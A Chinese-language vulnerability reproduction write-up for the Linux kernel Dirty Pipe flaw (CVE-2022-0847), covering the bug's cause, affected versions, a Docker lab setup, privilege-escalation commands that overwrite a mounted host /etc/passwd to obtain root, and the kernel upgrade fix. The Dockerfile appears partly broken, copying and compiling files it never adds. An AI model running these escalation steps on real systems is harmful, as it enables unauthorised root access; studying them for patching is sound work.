漏洞原理

该漏洞源于 Linux 内核中copy_page_to_iter_pipe()函数对pipe buffer的flags字段缺乏正确的初始化。当使用管道进行write和read后,可让目标管道的每个pipe buffer都带上PIPE_BUF_FLAG_CAN_MERGE标志。之后使用splice从目标文件的指定位置传送数据到之前处理过的管道中,splice底层会直接用文件缓存页来替换管道缓冲页,但没有初始化flags字段。此时再调用pipe write时,由于PIPE_BUF_FLAG_CAN_MERGE标志存在,内容会接着上次被写入同一个管道缓冲页中,而这个管道缓冲页其实已变成目标文件的缓存页,从而导致直接修改了目标文件缓存页。短时间内访问该文件的操作都会读到被篡改的文件缓存页,攻击者可借此修改/etc/passwd或者一些suid文件等来实现提权目的。

影响版本

Linux内核 5.8–5.10.102、5.15.0–5.15.25、5.16.0–5.16.11

环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
FROM centos:7

# 配置CentOS 7归档源(使用echo避免语法错误,确保源可用)
RUN rm -f /etc/yum.repos.d/*.repo && \
echo "[base]" > /etc/yum.repos.d/CentOS-Base.repo && \
echo "name=CentOS-7 - Base" >> /etc/yum.repos.d/CentOS-Base.repo && \
echo "baseurl=http://vault.centos.org/7.9.2009/os/\$basearch/" >> /etc/yum.repos.d/CentOS-Base.repo && \
echo "gpgcheck=1" >> /etc/yum.repos.d/CentOS-Base.repo && \
echo "gpgkey=http://vault.centos.org/7.9.2009/os/\$basearch/RPM-GPG-KEY-CentOS-7" >> /etc/yum.repos.d/CentOS-Base.repo && \
\
echo "[updates]" >> /etc/yum.repos.d/CentOS-Base.repo && \
echo "name=CentOS-7 - Updates" >> /etc/yum.repos.d/CentOS-Base.repo && \
echo "baseurl=http://vault.centos.org/7.9.2009/updates/\$basearch/" >> /etc/yum.repos.d/CentOS-Base.repo && \
echo "gpgcheck=1" >> /etc/yum.repos.d/CentOS-Base.repo && \
echo "gpgkey=http://vault.centos.org/7.9.2009/os/\$basearch/RPM-GPG-KEY-CentOS-7" >> /etc/yum.repos.d/CentOS-Base.repo && \
\
echo "[extras]" >> /etc/yum.repos.d/CentOS-Base.repo && \
echo "name=CentOS-7 - Extras" >> /etc/yum.repos.d/CentOS-Base.repo && \
echo "baseurl=http://vault.centos.org/7.9.2009/extras/\$basearch/" >> /etc/yum.repos.d/CentOS-Base.repo && \
echo "gpgcheck=1" >> /etc/yum.repos.d/CentOS-Base.repo && \
echo "gpgkey=http://vault.centos.org/7.9.2009/os/\$basearch/RPM-GPG-KEY-CentOS-7" >> /etc/yum.repos.d/CentOS-Base.repo

# 安装漏洞复现所需的基础工具(64位编译环境,无需32位库)
RUN yum clean all && yum makecache && \
yum install -y \
gcc \
gcc-c++ \
make \
sudo # 用于后续提权验证(su/sudo命令依赖) && \
yum clean all

# 创建漏洞利用工作目录(规范文件结构)
RUN mkdir -p /cve-2022-0847
WORKDIR /cve-2022-0847
RUN cp CVE-2022-0847-DirtyPipe-Exploit /
RUN gcc dirtypipez.c -o dirtypipez
RUN cp dirtypipez /cve-2022-0847/

# 启动命令:进入交互shell,默认切换到工作目录
CMD ["bash", "-c", "cd /cve-2022-0847 && bash"]
1
docker build -t dirtypipe:v1 .

漏洞复现

POC

1
2
3
4
5
6
7
8
9
docker run -it --rm --privileged -v /etc:/mnt dirtypipe:v1
# 挂载宿主机/etc到容器/mnt,用于篡改passwd
# 必须:确保容器有修改挂载文件的权限
# 直接执行编译好的程序,目标为宿主机/etc/passwd(挂载在/mnt/passwd)
./dirtypipez /mnt/passwd
# 提权验证(成功后无密码切换到dirtypipe用户,再获取root)
su dirtypipe && sudo -i
# 验证权限(输出uid=0即成功)
id

修复建议

将 Linux 内核升级至 5.17 及以上版本,新版本的内核已经修复了该漏洞的相关代码逻辑。